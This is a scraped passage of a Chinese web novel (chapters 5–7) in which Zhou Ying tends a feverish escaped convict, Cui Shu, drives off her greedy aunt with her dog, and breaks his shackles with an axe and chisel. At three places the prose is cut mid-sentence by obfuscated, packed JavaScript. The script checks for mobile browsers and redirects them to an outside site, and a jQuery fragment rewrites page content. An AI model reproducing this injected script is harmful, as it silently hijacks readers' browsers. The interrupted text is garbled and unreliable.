她得保住他的命。 至于他是不是真的犯了滔天大罪，其实只要不给她带来大麻烦，她暂且不愿意去深想。 更何况，她在不惹麻烦和挣黑心钱之间犹豫不决时，是上天帮她作出了决定，她愿意相信一回天意。 她不再犹疑，将荷包揣进怀里，出门从后山往五里坪去。 黑豆一路小跑跟过来，周缨赶它回去：“路远，就别跟我去了。”见它还是一副不肯的样子，又迂回道，“回去守着菜地，那几颗萝卜我瞧着长得倒还好，晚些拿来炖汤，别被那群光吃不下蛋的母鸡糟蹋了。“ 黑豆听话地停下，在原地摇着尾巴目送她走远。 途经昨日崖壁之后，周缨再次仔细查探了一番，确认之后无人再来过此地，微微放下心来。 走出去两三里地，到得五里坪，周缨往一户人家走去。 三间夯土墙垒成的矮屋并一道篱笆院门圈成的农家小院里，一个头裹灰蓝色麻布的中年妇人正在廊上拿簸箕装铡成小短的干草料。 妇人一起身就看见往这边走来的周缨，面露喜色，隔着老远同她打招呼：“阿缨，雪还没化完，路不好走，怎么就着急出来了？” 林氏名唤慈姑，虽并不是她的亲戚，勉强能算得上乡邻，却一直拿她当亲女儿般善待，周缨心头一暖，语气添了两分亲近，话家常道：“婶婶，我昨日去了集上，想着距离过年还有些时日，就没有买年货。结果今儿瞧着这天又阴下来了，怕是晴不长久，便想趁着还没下雪去置办些东西，就怕一直下到过年。” 林氏一听便明白过来她的来意，昨日镇上才赶了集，今日要去置办年货的话，便只能去邻镇，路远难行，天黑前怕赶不回来，这是来借她家的骡子来了。 “昨儿雪才刚停，你这丫头去镇上做什么？”林氏劝她道，“婶婶知道，镇上那帮雇主，能请得动男人便绝不会要女工，江老板愿意在忙的时候请你去帮小工是个很难得的机会，但他毕竟也克扣得厉害，只肯给你男工的一半工钱，也不值当。而且雪那么厚，你一个人来回那么远，路上要是出点什么事该怎么办？” “世道就是这样，我也没有什么办法。”周缨话题一转，语气轻松地带过，“而且没事，有黑豆陪我呢，那小家伙多机灵，我摔不着，您放心。” 林氏无奈摇头，将簸箕腾至左腋下夹着，冲她招手：“我正准备去喂，你也过来瞧，下了小半个月雪，没人请你成叔去帮忙驮货，这骡子歇得好，精神头足得很，等我喂完你便牵去。” 厩棚里拴着的骡子毛发油亮，双目有神，一看便知是个精力旺盛的代步好手，周缨连连道谢。 “谢什么谢。”林氏侧身笑着看她，看了半刻，笑容缓缓敛去，目光里盛满怜惜，“你娘这样……”顿了一顿，又笑起来，“得了你这样一个能干的女儿，将家里上下打理得这样好，你娘也算是还有些福气在身上。” 林氏将草料抓进食槽，叹气道：“只是叫我们这些外人看着，总觉着你不容易。” 周缨愣了片刻，抬头冲她一笑：“婶婶，我没觉得有什么不容易的。我娘如今虽不能照顾我，但我年纪也不小了，反倒可以在她跟前多尽尽孝。家里虽然穷，但人口少，花销也就小了，俭省一些，日子过着也没那么难，您没必要这么心疼我。” “你这傻丫头，这十里八乡有哪个丫头有你这般招人疼的。”林氏扬声唤夫婿过来，同她交代道，“你成叔昨日也去赶集了，这段路确实不好走，我让他送你到山脚大道上。” 杨成应声走过来，单手抚着骡子颅顶的一小搓白毛，笑着看骡子吃干草料，语气里暗藏着几分与厚实身躯不符的羞涩：“丫头，有难处只管来同你婶说，你家里的伯婶靠不住，我们也是知道的，你别同我俩客气。” 周缨笑着应下：“您看我这一遇到难题，不也直接来找您俩了吗？可见您就是不说这话，能麻烦您二位的地方，我也绝不会客气的。” 林氏被她说得一乐：“你这丫头都学会贫嘴了。”说完解下僵绳递给杨成，“去吧，路滑，仔细脚下。” 杨成不太擅言辞，一路没有说话，牵着骡子把周缨送下山，才将僵绳递给她，叮嘱道：“从这儿到隔壁镇上都是平路，但雪化到一半，滑得厉害，你当心些，路上别急，该买的东西都一次买齐，天将黑的时候叔还来这儿接你。” “诶，好嘞。”周缨未作过多推辞，别过杨成，骑着骡子往邻镇去了。 天寒路遥，借了骡子的力，也将近晌午时分，周缨才到镇上。将骡子暂寄在草料铺后，她目的明确地直奔唯一的药铺，抓了三剂风寒药便准备往回赶。走出来两步，略一思索，又回去要了六副治跌打损伤的伤药。 路过猪肉铺，屠夫冲她随口一吆喝，她顿住脚 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等行到山脚下，牵着骡子往山路上走了没几步，便瞧见杨成急匆匆地赶来，看见她便咧嘴露出一个憨厚的笑：“这天儿变得快，我和你婶就猜你会提前回来，这不紧赶慢赶的，还是迟了些。” 周缨心下感动，面上也柔和一笑：“劳累成叔和林婶为我操心。” 杨成不知接什么话好，不好意思地挠挠头，接过缰绳，沉默地牵着骡子引她往回走，走出去两步，又转头看周缨：“你脚怎么了？” “着急买完东西赶路，没留神，居然在镇上崴了。” “你这孩子。”杨成摇头道，“严重不？还能走不？别逞强，要不成叔背你回去。” “平地上崴的，不严重，只有点疼，不影响走路。我还去药铺抓了些药，大夫说回去敷几天管保没事了。” 杨成闻言放下心来，又恢复了一贯的沉默。 周缨家要更偏僻些，等到他家，周缨说什么也不肯让他再送，自行将包袱从骡身上卸下来挎在肩上，拎着一块肉往回走，解释说：“阿娘昨夜不知怎么冻着了，寒症又犯得厉害，恰好我脚又崴了，便去给我俩各抓了些药，也顺带买点肉替她补补。” 林氏知她脾气，也知这是杜氏的老毛病，应当不算打紧，因此也不强求送她回去，只叮嘱道：“这天看着马上又要下雪，我和你叔今日就不去看你娘了，你赶紧回家去，有什么事记得来找婶婶。” 周缨应下往回走，林氏嘀嘀咕咕地催杨成快去烫烫手脚，自个儿牵着骡子往厩棚里去，边走边小声嘀咕：“这丫头也没见买多少东西，实在俭省得很，估摸着是怕咱们担心，不敢说专程去给她娘抓药，才借口说要去办年货。等天彻底放晴了，你去山里转悠转悠，看能不能打点什么给她送去，给她娘俩补补。”说完又叹道，“算了，这大冬天的去哪儿打，开春再说。” 林氏刚叹完气，余光忽地瞟到鞍上还有一块鲜肉，忙回头去唤周缨，只是周缨走得快，这一小会儿功夫已经沿着小路一路疾走而去，拐过弯儿不见了人影。 林氏提着那块分量不轻的猪肉，不由再叹了一声：“这丫头，脚痛还跑这么快，就怕咱们追上还回去。” 黑云翻滚，周缨走得飞快，离家还有一里地时，黑豆远远奔过来迎她，瞧见她手上提着的肉块，馋得前脚离地，口水直流。 周缨拿脚尖把它拨开：“等回去给你分一点，这会儿先别捣乱。” 黑豆咽了咽口水，巴巴地跟在她身后，不住地摇着尾巴。 周缨乐出声来：“你这小馋鬼。” 回到家中，天色已暗，周缨先去看了眼崔述。 一整日过去，他仍旧烧得厉害，没有任何好转。 周缨叹口气，正要关门，忽听他低语了一句，这声音太小，周缨未曾听清，见他嘴唇又翕动了下，走近两步，俯下身去听他在说什么。 “沧州。” 周缨隐约听到这二字，尚未及思虑此中含意，右手猝然被一股大力握住。 周缨转头看去，对上一双黑亮的眸子。 5. 雪日晴阳（五） 暗室无灯，那双眸子里的光亮却清晰可见，满是戒备。 周缨心一沉，颇有些不敢与他对视。 只是制住自己的那只手烫得实在是厉害，她迟疑片刻，迎上他的目光，坦然道：“你烧得太厉害了，需要尽快喝药。” 腕上的力蓦然一松，周缨看过去，见他又已昏睡过去，心下微松，替他拭去额间的汗，退出门来。 她到厨房翻拣出来个耳朵磕坏了一角的瓦罐涮洗干净，将一剂风寒药倒进去，加好水，又寻来一只裂了缝的旧炉，生火引燃柴禾，将药罐放置稳当，用蒲扇扇起风来，将火烧得极旺。 没有烟道通往屋外，整间屋子都弥散着青烟，她被呛得不轻，时不时地咳上一声。 天色稍晚，杜氏还不曾吃上午饭，想来已饿得厉害，火势一起，周缨赶紧将炉中的柴添好，拿上镰刀往屋外菜地去。 冬日里蔬菜种类本就不多，况今年天怪得紧，持续大雪，青菜早就被雪打得蔫蔫儿的，地里只剩下几个萝卜，周缨挑挑拣拣拔了个个头最大的回来，在廊下将蔫叶儿削下来，拿到后院扔到鸡圈，回到厨房开始做饭。 一道炒肉，一道萝卜炖骨头。 周缨将菜分成两半，一半放在灶台上煨着，一半端至杜氏房中，笑着同她说话：“阿娘，我今日回来晚了，对不住。你饿坏了吧？” 瘦弱的妇人在朦胧的光影中歪头看她，浑浑噩噩地喊饿。 周缨心头一酸，原本还想让她单独吃，自个儿去照看崔述，此时却无论如何迈不出脚了，只好道：“阿娘，对不住，我刚误了时辰，快来吃。” 今日难得有肉，菜香四溢，杜氏拿起勺子，自顾自地吃起来。 心中惦记着另一头，周缨神思恍惚，夹了几次菜都空手而返，自个儿却并未察觉，径直将空空如也的筷子送入嘴中，甚至还无意识地咀嚼了几下。 杜氏奇怪地看了好几眼，周缨回过神来，见她不吃，主动替她夹菜，笑着同她说：“多吃点。” 这样一个简单的动作却令杜氏脸上血色急褪，神色惶惶地僵直着身子不敢动作，口中连连应道：“我吃，我吃，我吃。” 周缨仓皇放筷，放低声音轻哄：“阿娘，对不住，我没有吓你，我不给你夹菜了，你不爱吃的话就不吃，别逼自己。” 杜氏恍若未闻，将碗中所剩食物三口并作两口扒完，嚼也不嚼径直吞下，瑟缩着坐在一旁，握着筷子不敢放下。 “阿娘，不吃了不吃了，别怕啊。”周缨边轻声安抚她，边用巧力将筷子从她紧握的右手中抽出。 怕再次无意识地惊吓到她，周缨也不敢继续停留，赶紧端着小几离开，出门时回看，见杜氏仍然蜷缩着身子，鼻尖没忍住一酸，强忍着回到厨房。 阿娘受此地所困，日夜紧绷，境况越来越不好，必须要尽早离开。 她迫自己迅速平复，一边照看炉中火候，一边将先前剔下来的鲜肉肉皮切成小块，熬出小半碗油，再将熬干的肉皮剁成碎块，拌在米糠和菜汤里搅匀。 黑豆早就急不可耐地在她脚边不停地打着转儿，见她不动，乖乖退开几步，眼巴巴地等着，等周缨将食物倒入它的碗中，才急奔过来，狼吞虎咽起来。 周缨不自觉地一笑，从方才的愁绪中解脱出来，自言自语道：“跟着我真是委屈你了，我瞧人家江老板家的狗顿顿都能吃上肉呢。不过屋里那位要真是个财神爷呢，等拿到银子我一定多买些肉给你吃。”说罢拿着碗回到厨房，见药已经熬好，倒入碗中晾了一阵，等温度合适了，端至屋里，强行将崔述唤醒。 崔述烧得迷迷瞪瞪，勉强睁开眼来，听见周缨问他：“能喝药吗？” “可以。”他声儿极弱。 周缨将他扶着靠坐起来，拿勺将药喂给他。 体力不支，崔述喝得极慢，一勺药也要喝上两口才能咽完。 周缨心里焦急，但面上不显，耐心地将这碗药慢慢喂给他。 等他喝完药，周缨扶他歇下，退出门来，看着纷飞的夜雪，暗暗叹了口气。 一整日没吃饭，她其实饿得厉害，却没什么胃口，搛了两块萝卜并榨菜下饭，吃了小半碗便再咽不下去，只好又坐到灶下熬起药来。 再抬头往外看时，天色浓如泼墨，这才惊觉已又过了一个时辰。 周缨回到隔壁，见药效尚可，崔述已褪了高热，烫得不再那么厉害，顿时长舒一口气。 崔述迷糊间睁眼来看她，听见她问：“烧退了些，现在吃得下东西吗？” 崔述比先前清醒不少，身子也不再那么乏力，慢慢撑着坐起来，同她道：“可以。” 周缨端来饭菜放在小桌上：“吃点东西垫垫肚子，晚些再喝一服药。” 右手行动不便，周缨给他的是把汤匙，崔述用汤匙舀了一块萝卜，细嚼慢咽地吃完，又抬头看她：“多谢。” “不必客气。” 崔述不再出声，安安静静地填饱肚子。 煨久了的菜味道自然不佳，何况对于患病之人而言，这肉微有些油腻，米饭也糙得厉害，但市井小民一年恐怕也难吃上几次肉，这显然已是这个贫寒之家最拿得出手的食物了，他强忍住胃里的恶心，就着菜吃完小半碗饭，同周缨道：“够了。” “就吃这么点儿？是不是还不舒服得厉害？” 庄稼人饭量都大，两碗饭见底不带饱的，家家户户常年地里收回的稻谷都不够吃，周缨头一回见这么慢吞吞吃饭，饭量还不及黑豆的男人，多看了他几眼，确认他是真的没有食欲，才过来收碗。 她手刚触及瓷碗，屋外一声大嗓门儿传进来——“阿缨”。 周缨手一顿，顺势将碗重新搁回桌上。 脚步声停在门口，紧接着门被推动了一下，那声音疑惑得紧：“既点着灯没睡，怎么不应声儿？” 周缨比了个噤声的手势，快速将帐幔放下。 外头徐氏的声音提高了三分：“还躲着你大伯母不成？” 周缨快速往门口走去，边走边将棉袄上面的盘扣解开两颗，顺带将头发扯乱三分。 门被推开的一瞬，周缨拿脚尖抵住了门。 门仅隙开一条缝，徐氏原本满脸谄媚，瞧见她形容凌乱满脸冷漠，表情一连三变，最后讽道：“哟，开个门都这么慢，成日家嘴上说着不肯嫁，背地里却不干不净地偷汉子不成？” 周缨正在系扣的手一滞，陡然动怒：“你瞎编排什么呢？再说一遍？” 徐氏瞧她似要发作，堆满笑说：“小祖宗嘞，跟你开个玩笑而已，至于生这么大气吗？这十里八乡谁不知道你们娘俩儿都是贞洁烈女，哪个男人敢招惹？” “贞洁烈女”四字被她咬得极重，周缨冷嗤：“有事说事，你再阴阳怪气一句试试。” “好好好，”徐氏敛了神色，正要说明来意，忽地鼻尖一痒，怪道，“你病了？满屋子药味儿。” “脚崴了，怎么？” “脚崴了？严重——”话说到一半，徐氏鼻子一耸，大惊小怪道，“你还舍得买肉？一年到头也没见你家开几次荤，又不过年又不过节的，”她眼角一挑，“你发横财了？” 周缨忍无可忍，上手将她往外推，砰地带上门，从外面落了锁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周缨不痛不痒地“哦”了一声：“是不是天天坐在铁匠铺前的那个鼻歪嘴斜口水直流的傻子？” 徐氏脸上臊得慌，扭扭捏捏地点头：“怎么说话呢？就是反应比常人慢了点，但懂疼人的，绝不会亏待了你。” 周缨眼神一冷，自打父亲过世，徐氏便总想打她家这两间破房子和两亩薄田的主意，但因了娘亲的一些旧闻，表面上倒还有所收敛，如今见娘亲越发不好了，竟这般急不可耐地盘算着要将她卖个好价钱。 “黑豆！” 周缨陡然喊了一嗓子。 徐氏猝然受惊，原形毕露，指着她鼻子骂：“一条捡来的死瘟狗，天天当宝贝似的！” “咬她！” 听闻号令，刚从厨房里蹿出来的黑豆迅疾抖落刚在灶下钻的满身炭灰，直扑徐氏。 徐氏见这恶犬目露凶光，吓得连连后退。 黑豆一跃而起，“嘶啦”一声，将她厚实的棉裤撕了一大截下来。 出师告捷，黑豆龇着牙瞪她，持续低吠以示警告。 徐氏一个趔趄，栽倒在满院残雪和泥泞中，骂道：“你这丧尽天良的小畜生！”边骂边抹眼泪，假惺惺地哭嚎，“可怜我那早死的弟弟，要知道他竟生养了这么个东西，还不得气活过……” “黑豆！” 徐氏连滚带爬地逃了出去，哭丧似的躲到崖后，才破口大骂起来。 周缨开锁进门，神色冷峻地束起帘幔。 崔述抬眼看过来，隔着晦暗的灯火，低低笑了一声。 6. 深山雪重（一） “笑什么笑，没见过放狗咬人？好生焐着。”周缨这会子形容凌乱，又被人笑话，一时恼羞成怒，剜他一眼，端上碗出了门。 崔述乐了一阵，见她又端着一碗新煎好的药返回，承她照顾，自然敛了笑意，乖乖喝药。 等他喝完，周缨将小桌收至柜上，扶他躺下，替他掖好被子，吹灯出门。 药效一起，脑袋晕晕沉沉的，光线昏暗，崔述不自觉地又眠了过去。 再醒来时，顿觉精神头好了不少。他摸索着坐起来，扶墙走到窗下，将封得严严实实的窗户拨开一条缝，往外望去。 夜色沉沉，窸窸窣窣洒落一院白。 昏昏沉沉地过了一日，他一时辨不清时辰，迟疑了下，轻轻将门隙开一条缝，瞧见隔壁房间灯火已熄，扶墙慢慢走进东侧低矮的耳房。 他推开门，没瞧见人影，只有灶膛中的火光照亮四壁。 他往内走去，行动不畅，镣铐惊起轻微声响，周缨从后门探头进来瞧见他，慌张道：“你怎么出来了？快回去。” 崔述指指火光：“有点冷。” “想烤火？” “嗯。” 她那屋子的确太小，床上又是铺的干草，崔述状态又不好，难以及时察觉异常，放火盆进去容易把床一起燎了，之前冒险端火进去给他烤衣服，她都一直悬着一颗心。 反正已近子时，应该不会再有人来，周缨在作裙上擦净手，将家里唯一一把扶手椅搬来给他：“坐吧。”又把门栓插上，将熏笼上的衣物和鞋袜递给他。 崔述接过来，没有动作。 周缨纳闷儿地摸了摸：“都烘了一天一夜了，干了啊。” 衣物上沾了淡淡的木炭烟熏味，又被隐隐的皂角清香中和。鞋上被划破的地方已经被缝补好，针线细密，又在里面添了几层布料，比先前厚实许多。 “多谢。”崔述将衣裳放至一旁的椅上，弯腰艰难地穿上袜子，换上自个儿的麻鞋。 周缨起身替他将衣裳披好，又自灶中铲了一铲烧得正旺的红炭出来倒在地上，火势陡旺，烘得他面色酡红。 “一整日就吃了那么点儿东西，饿没？” 崔述老实点头。 周缨从桌上的竹篮中挑了两个个头饱满的红薯，到后院洗净回来，埋进火堆里，“太晚了，不想动锅了，烤个红薯给你吃吧。” “好。” 周缨没忍住一乐：“你是不是有点呆？什么都说好。” 她笑起来时倒显出她的真实年纪来，和他这几日见惯的冷肃模样出入颇大，崔述看呆刹那，默然收回眼。 周缨也不管他，回到后院继续忙活，等烤红薯的香味飘到后院，才拿着一支以麻布包裹好的木拐走进来。 “你试试。” 崔述接过，站起来放至左腋下，稳稳当当地走了两步。 “矮了小半寸，差得不多，不影响用，就不改了。”周缨坐下来，拿竹篾拨出红薯，赤手翻了个转儿，重新放上火堆。 崔述拄拐走回椅前坐下，将拐杖放至椅侧，左手抚在其上的麻布上。 留意到他的动作，周缨解释道：“时间紧，打磨不出完全平整的，不缠容易划伤手，将就着用吧，你家人到了自然会再替你买新的。” “我不是这个意思。”崔述收回视线，再度同她道谢，“多谢。” 周缨没应声，神色依旧保持几分淡漠。 崔述也已习惯了她的性情，并不在意，借着红彤彤的火光，抬眼看向她沾染了几片碎雪的鬓发，忽然发问：“你叫什么？” 周缨奇怪地盯他一眼：“怎么想起来问这个？我叫什么有什么要紧的？”又不解道，“你不是听到我伯母叫我了么？” “听到了，只不知是哪个字？‘落英’的‘英’？” 周缨想了想，答不出来，反手掰断一根枯树枝，在泥地上划了几笔。 “你会写字？”崔述颇为惊喜，然而仔细看去，那字歪歪扭扭的，他辨了好半天，才认出来是个近乎睡倒的“缨”字。 “不会。”周缨坦然得很，“没钱念书，小时候看阿娘写过，大概就长这样吧？太久了，我也记不太清了，模仿着画过几次，也不知道对不对。” 崔述微愕，抬眸打量她一眼，试图透过浓密的睫毛，窥探出三分她被遮去的心绪。 见周缨侧头来看他，意识到失礼，崔述收回目光，应道：“对的。形是对的，是这个字。” 周缨不甚在意地“哦”了声。 “但结构不对，这字不应该这样写。”他觑她一眼，“你想不想学，我可以教你。” 周缨闻言，拿脚随意往土上一踢，将那歪歪斜斜的字迹抹了，用竹篾将红薯拨出来，笑着看他，一副混不吝的模样：“学来做什么？” 崔述哑然。 她赤手拿起一个红薯，在掌心翻来覆去地拍打了几下，将沾上的炭灰拍干净，递给崔述。 崔述迟疑了下，伸出左手来接。 “嫌脏？”周缨收回手，将红薯皮撕下来，握住红薯底部重新递给他。 “不是。” 崔述这回速度快了些，赶紧伸手接过。 黑豆闻着香从角落里爬出来，在脚边蹭来蹭去，周缨将刚撕下来的红薯皮扔给它，笑说：“这小崽子，闻到点儿香味，觉都不睡了。” 崔述低笑了声，埋头咬了一口。 刚出炉的烤红薯香得馋人，然而实在太烫，他手不方便，正左右为难，周缨将红薯接过去，取一片枯叶缠住底部，再次递回给他。等他接过，自个儿利落褪了另一个红薯的皮，埋头专注地吃起来。 崔述吃东西慢，周缨边烤火边等他吃完，才问他：“洗把脸？” 又是一个“好”字，周缨见怪不怪，打了盆热水过来，拧好帕子递给他。 崔述擦洗完，同她别过，拄着她新做的木拐，一瘸一拐地往屋里走。 转身关厨房门的时候，他刻意多停留了一阵。 周缨蹲在灶下，注视着方才围坐的火堆，尔后，拿起木棍，跟着地上残存的字迹，专注地描起自己的名字来。 崔述多看了一眼，带上了门。 - 这两日觉睡得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“睡够了。”他跨过周缨拿来挡门用的两块柴禾，看向她乱糟糟的头发，“你要不要去睡会儿？” 周缨不说话，将头埋进臂弯，好一阵没动静。 崔述慢慢走到她身旁坐下，将那支用起来还算趁手的木拐放至一旁。 周缨看着他缓慢但还算有条不紊的动作，往火堆中添了几块干柴，应了他方才的话：“好，我去睡一小会儿，你自个儿当心。” 崔述点头。 周缨走至门口，回头问他：“等会儿要天亮了，虽然雪大，还是不能大意。你过来关门不方便，我在外头将门锁上？” “好。” 周缨也不再多言，关门落锁回到隔壁。 久不通风的室内弥散着淡淡的发闷的味道，她将门窗大敞开，行到榻前去整理床铺。 家中没有多余的褥被，周缨将棉被翻了个面儿吹着，等室内的浊气散得差不多了，抓紧时间上床休息。 卧榻内萦着一股淡淡的药味儿，却令她觉得莫名心安，双眼才将将阖上，倦意便已涌来，沉沉地睡了过去。 7. 深山雪重（二） 连日劳累奔波，尽管在睡前极力暗示自己，醒来还有要事要处理万不能贪睡，周缨这一觉仍睡得沉，足足两个时辰才醒来。 她收拾完床榻回到厨房时，崔述正坐在灶后，将地上未烧完的柴禾放入灶膛中，听见开门声，回头看来。 周缨步子微顿：“你在做什么？” “烧水。” “渴了？”周缨径直走到灶后，往水壶中掺入两瓢冷水，又将他方才预备好的柴禾放入炉中，将水壶放在炉上烧着，才解释道，“壶里烧出来的水干净些。” 火势起得快，火光映在崔述面上，添上一层橘色的光晕。 周缨注视了他片刻，又透过后门看了眼已然大晓的天色，起身将两道门一并堵死，寻来斧头和凿刀，撂在他脚边。 “你坐那个矮凳。” 崔述不明所以，但还是乖乖把扶手椅拖走，缓慢挪至那张矮条凳上坐下。 周缨拿来一个木桩，放在他身前半尺处，拿斧头用力往下敲了六七下，将木桩固定在土里。 这动作来得突然又迅猛，崔述定定地看着眼前的女子，似乎是在讶异，这样惊人的力道竟是由这样一副弱小的身躯所发出。 留意到他的目光，周缨动作顿了一顿，又若无其事地将斧子放回原位。 蜷在灶下的黑豆被惊动，起身抖落一身灰，迷迷瞪瞪地绕着崔述走了一圈，缓缓摇起尾来。 “这小畜生好像还挺喜欢你。” 崔述伸出左手，想去摸摸它脑袋，似是嫌脏，手伸到一半又停在半空。 黑豆主动凑上前来，舔了舔他的食指。 崔述滞了片刻，极轻地笑了笑。 “若不是这小家伙非要引我去找你，你或许有办法自救，但多半会多遭更多罪。”周缨顿了一顿，“或许这就是天意吧。” 崔述默然不语。 周缨边将手边的麻布裁成大小相同的两半，边吩咐道：“把左手伸出来。” 崔述照做，周缨拿右手托住他手腕。 肌肤相触，他下意识地觉得于礼不合，想要躲开，手缩回半寸，又止住了动作。 周缨取过一块裁好的麻布，一圈一圈地往他腕上缠。 崔述垂眸，注视着她的动作，没有出声，手指却无意识地颤了下。 周缨将他左手手腕缠好，吩咐道：“放在木桩上，手掌打开，贴着放平。” 等他将手放好，周缨拿凿刀比划了下，卡住镣环上的锁扣，使劲儿往下一压。 整只手被完全固定在这方寸大小的木桩上，锋利的凿刀挨着他的手掌没入木桩，稍有不慎，便可洞穿他整只手掌。 “你到底犯了什么事？” 周缨左手压着凿刀，右手握着斧柄，冷然看着他。 这场景不知为何让崔述想起一个词——逼供。 这是她第三次问他这个问题了。 崔述依然沉默。 “不说算了。”事不过三，她既然已经下定决心不管所谓道德大义，赚到银子即可，倒也不是非要过问。 他反倒开了口：“看错了人。” “被别人陷害的？”周缨似懂非懂，“是么？” 崔述再度沉默下来。 “倒也是，监狱里押着的囚犯，也未必都是真奸人。”周缨不再追问，举斧往凿刀上猛地一敲。 巨大的力道沿着凿刀传至崔述腕间，迅疾冲向肺腑，激得他闷哼一声。 他抬眼看向她，唇边噙着隐隐的血色，眸如点漆：“这就不问了？没得到答案就敢如此，不怕我是穷凶极恶之徒么？” 周缨哂道：“就你这副样子，我把这斧头给你，你敢给我来上一下吗？” “这倒难说，穷途末路，难免会行平素不欲之事。” 周缨似是没料到这回答，沉默片刻，哂道：“那前日，你为何明明可以用毒逼迫我帮你，最后却收了手？” 她手中举着方才从他袖间取下的那枚细短银针。 崔述目光凝在针尖上，半晌才正视她：“你当时既已察觉我有此念头，为何最终仍旧帮我？” “虽然我那时提了一些办法，但不可能完全打消你的顾虑，其实你用了这针，才能保证万无一失，但你选择了信我。”周缨淡笑道，“当日处境危险，你行事都是这般。我今日即便帮你解开这镣铐，你又会怎样对我不成？” 崔述目视着她将那针随意放至一旁的椅上，淡声道：“人常有一念之差，你怎知我当真不会？” 周缨低头看向他动弹不得的左腿，重新握住斧柄，似是懒得应他这出。 崔述顺着她的目光看过去，自嘲一笑：“也是。” “很疼，你忍着点。”周缨不再和他闲话，再次抬手。 斧头落下，凿刀精准卡住的锁扣松动了三分。 崔述咬着唇，没有出声。 血色再次自他齿间隐隐溢出。 周缨看他一眼，将熏笼上烘着的一张布巾递给他，叫他咬着。 崔述没有忸怩，坦然照做。 这回没了顾忌，周缨用尽全力往下一敲，锁扣应声弹开，绷到墙上又弹回来落到地上，锁链则从木桩上滑落至地上。 崔述左手被震得麻木不堪，半天没有动作，好在有布料护着腕骨，尚不至于血肉模糊。 周缨看向他右手，迟疑了下，征求他的意见：“我不知道你家人什么时候能来，你右手有伤，强行开锁会伤得更重，后面会怎样我也不敢保证。你自己选吧，是等还是砸。” “开吧。” 他没有给自己留任何犹豫的时间。 周缨并不意外，自行将他动作困难的右手换过来放好，因方才消耗了太多力气，这回重复了四次，方见锁扣有松动的迹象。 即将重获自由，崔述不见多大反应，倒是周缨面露欣喜。 她刚动了动唇，还未及出声，忽地传来一阵急促的拍门板声。 周缨拿着斧子的手颤了下，正要开口，门口传来一个焦急的女声：“杨泰，快开门！” 周缨手上一松，斧子滑落在地。 “你又打人了是不是？那是你女儿，你混账！”门后的声音越发焦灼。 黑豆蹿到门口，前爪不停地在门板上扒来扒去，带出刺耳声响。 周缨似乎还没从这巨大的冲击中回过神，茫然地看着门板。 “杳杳，杳杳……”门后传来断断续续的绝望的啜泣声，“我跟你回去，你别打她了。” 周缨起得急，抬脚时绊倒了木桩，踉跄了下。 她试图用脚拨开堵门用的木柴，然而脚上莫名乏力，只能蹲下身用手去扒。 门刚松动一线，一股大力从门后传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418871|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，将她撞倒在地。 杜氏急急冲进来，看见她跌坐在地，连忙跪倒，将她拥进怀里，左瞧右看，哭着问她：“他又打你了是不是？” 周缨坐稳身子，神思慢慢回正，扶住杜氏的肩，使劲晃了几下，逼她清醒：“阿娘，你看清楚，我都长这么大了，他也已经死了！” 杜氏茫然抬头，环视四周，瞧见坐在灶下的崔述，瞪大眼睛看了又看，恍惚地呢喃道：“不是他，对，不是他，他没这么瘦。” 周缨看着她这副样子，悲从中来，左手抱住她，将头抵在她额间，右手在她后颈上轻拍，放低声音安抚她：“阿娘，没事了，他死了，放心。” “死了就好，死了就好。”杜氏懵懂重复。 周缨扶住门框站起来，将杜氏扶起，搀着她回到榻上，花了很长时间才将她安抚好。 看着榻上昏睡过去的妇人，周缨鼻尖一酸。 她已经记不清楚，有多久没有听到过阿娘说这么多话了。 她站在原处，注视了杜氏许久，方长吸了口气，脚步沉重地出了门。 天色大白，周缨看着白茫茫的雪地，吸了吸鼻子，掩住所有情绪，沉默着回到厨房。 崔述仍安静地坐在灶下，见她进来，似乎想说句什么，动了动唇，又终是一个字都没有说。 周缨将门重新堵死，将已经烧沸的水壶提下来搁至一侧，倒出一杯晾着，问他：“还受得住么？” 见他点头，周缨坐回原位，将方才绊倒的木桩重新固定住，声音比方才要冷上三分：“继续吧。” 崔述迟疑了下，说：“改日吧。” “我喂她吃了药，会昏睡上几个时辰。”周缨指了指木桩，冷静地道，“今日雪大，应当没人出门，这声音不会引人过来。何况马上就要成了，一次解决吧，不必再拖。” 崔述略一思忖，任由她如先前一般，凿开锁环。 周缨将那条沉甸甸的镣铐藏好，感慨道：“还好不是死镣。” 这本是她可以用来牵制他的物件，于她获取酬劳亦有几分保障。崔述问她：“怎么突然想到这个？本不必废这个劲的。” 周缨看向他腕间，流放之途山高水迢，整日间牵扯摩擦，那里已皮开肉绽，溃烂可见腕骨，任何动作恐怕都会牵出钻心的疼。 她垂下眼眸，昨夜脚下这方泥地上，有他用不太习惯的左手勉强写成的“缨”字，有点像她小时候在阿娘桌上偷看来的模样。 “你也不容易。”她随口一答，将炉中之火添了一道，放好药罐，问他，“烧退完了？” 其实还在断断续续的低烧，但他自认为不大碍事，所以点了点头。 周缨本想换副治外伤的药，想了一想，还是又加了副伤寒药来煎，想再巩固一下药效，怕后面又反复再烧起来。 她执瓢慢慢注水浸没药材，一抬头见崔述仍旧看着她，犹疑了下，问：“有话要问？” 崔述点头。 